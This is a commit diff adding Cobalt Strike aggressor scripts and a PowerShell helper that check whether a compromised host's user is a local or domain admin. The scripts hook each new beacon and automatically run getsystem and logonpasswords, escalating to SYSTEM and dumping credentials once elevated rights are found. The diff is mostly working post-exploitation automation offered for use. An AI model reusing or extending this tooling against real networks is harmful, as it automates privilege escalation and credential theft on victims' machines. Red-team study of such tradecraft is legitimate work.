Add in LA checks

CheckLAdminContext.ps1

@@ -0,0 +1,68 @@
+# For: Cobalt Stike Admin Checks 
+# @Killswitch-GUI
+# Ref: http://stackoverflow.com/questions/18674801/administrative-privileges
+# http://www.fixitscripts.com/problems/script-to-detect-current-user-and-determine-if-that-user-is-a-local-admin-or-not
+
+function Invoke-LocalAdminCheck { 
+<#
+        .SYNOPSIS
+        Checks to see if current user is the local Admin group and returns a string to console for Cobalt strike to grab. 
+        This Allows me to automat Bypass UAC and Getsystem
+
+        .PARAMETER Initial
+        Decalre if the commmand was run from the CS terminal or on intial load of agent.
+    #>
+    [cmdletbinding()]
+    param(
+        [Parameter(Position=0,ValueFromPipeline=$true)]
+        [String[]]
+        $Initial
+    )
+    process {
+        $User = [Security.Principal.WindowsIdentity]::GetCurrent()
+        $IsAdmin = (New-Object Security.Principal.WindowsPrincipal $User).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
+        $SecondCheck = Get-SecondCheck
+        If ($IsAdmin -or $SecondCheck)
+                {
+                Write-Host "[!] Currently-in-LocalAdmin-Context"
+                }
+         Else
+                {
+                Write-Host "[!] Current-User-Not-LocalAdmin-Context"
+                }
+    }
+}
+
+function Get-SecondCheck { 
+<#
+        .SYNOPSIS
+        Checks to see if current user is the local Admin group and returns a string to console for Cobalt strike to grab. 
+        This Allows me to automat Bypass UAC and Getsystem
+
+        .PARAMETER Initial
+        Decalre if the commmand was run from the CS terminal or on intial load of agent.
+    #>
+    process {
+        Try {
+            $admUsers = @()
+            $curUser = $env:username
+            $strComputer = "."
+            $computer = [ADSI]("WinNT://" + $strComputer + ",computer")
+            $Group = $computer.psbase.children.find("Administrators")
+            $members= $Group.psbase.invoke("Members") | %{$_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)}
+            ForEach($user in $members) {
+                $admUsers += $user
+                }
+            if(($admUsers -contains $curUser) -eq $True) {
+                return $true
+            }
+            else {
+                return $false
+            }
+        }
+        Catch {
+            Write-Host  "Script Check Failed"
+        }
+    }
+
+}

Initial-DACheck.cna

@@ -1,10 +1,10 @@
-# quickly run Powerview
-sub powerview {
+ # quickly run powershellimport
+sub powershellimport {
   bpowershell_import($1, script_resource("Invoke-DACheck.ps1"));
 }
 
 alias checkda {
-  powerview($1);
+  powershellimport($1);
   bpowershell($1, 'Invoke-DACheck');
 }
 
@@ -16,10 +16,19 @@ beacon_command_register(
 
 # set up the Initial check
 on beacon_initial {
-  powerview($1);
+  powershellimport($1);
   bpowershell($1, 'Invoke-DACheck -Initial True');
+  $a = binfo($1, "user");
+  $b = "*";
+  if ($b isin $a)
+    {
+    bgetsystem($1);
+    blogonpasswords($1);
+    }
 }
 
+
+#NEED TO SETUP A CHECK ARRAY FOR PAST DA FINDS
 # set up event consumer to search for specfic pattern
 # if found alert them via Elog and box
 on beacon_output {

Initial-LAdminCheck.cna

@@ -0,0 +1,45 @@
+ # @Killswitch-GUI
+ # This script will Auto check for LocalAdmin User on intial agent 
+
+ # quickly run powershellimport
+sub powershellimport {
+  bpowershell_import($1, script_resource("CheckLAdminContext.ps1"));
+}
+
+alias checkla {
+  powershellimport($1);
+  bpowershell($1, 'Invoke-LocalAdminCheck');
+}
+
+# register the checkla command
+beacon_command_register(
+  "checkla", 
+  "Checks if the current user is in a Local-Admin Context", 
+  "Synopsis: echo [no arguments]\n\nChecks using Powershell that supports (2.0 or later with 3.5 .NET) \n or (PS 4.0 or later) to perform a local admin check of current user.");
+
+  # set up the Initial check
+on beacon_initial {
+  powershellimport($1);
+  bpowershell($1, 'Invoke-DACheck -Initial True');
+
+
+  $s = replace($2, 'received output:\n'.'');
+  # println($s);
+  $f = "[!] Found-DA-User:";
+  if ($f isin $s)
+    {
+    $pid = binfo($1, "pid");
+    elog("Found DA User at Pid: $pid");
+    show_message("Found DA User at Pid: $pid");
+    beacon_note($1, "DA User on this box");
+    }
+
+
+  $a = binfo($1, "user");
+  $b = "*";
+  if ($b isin $a)
+    {
+    bgetsystem($1);
+    blogonpasswords($1);
+    }
+}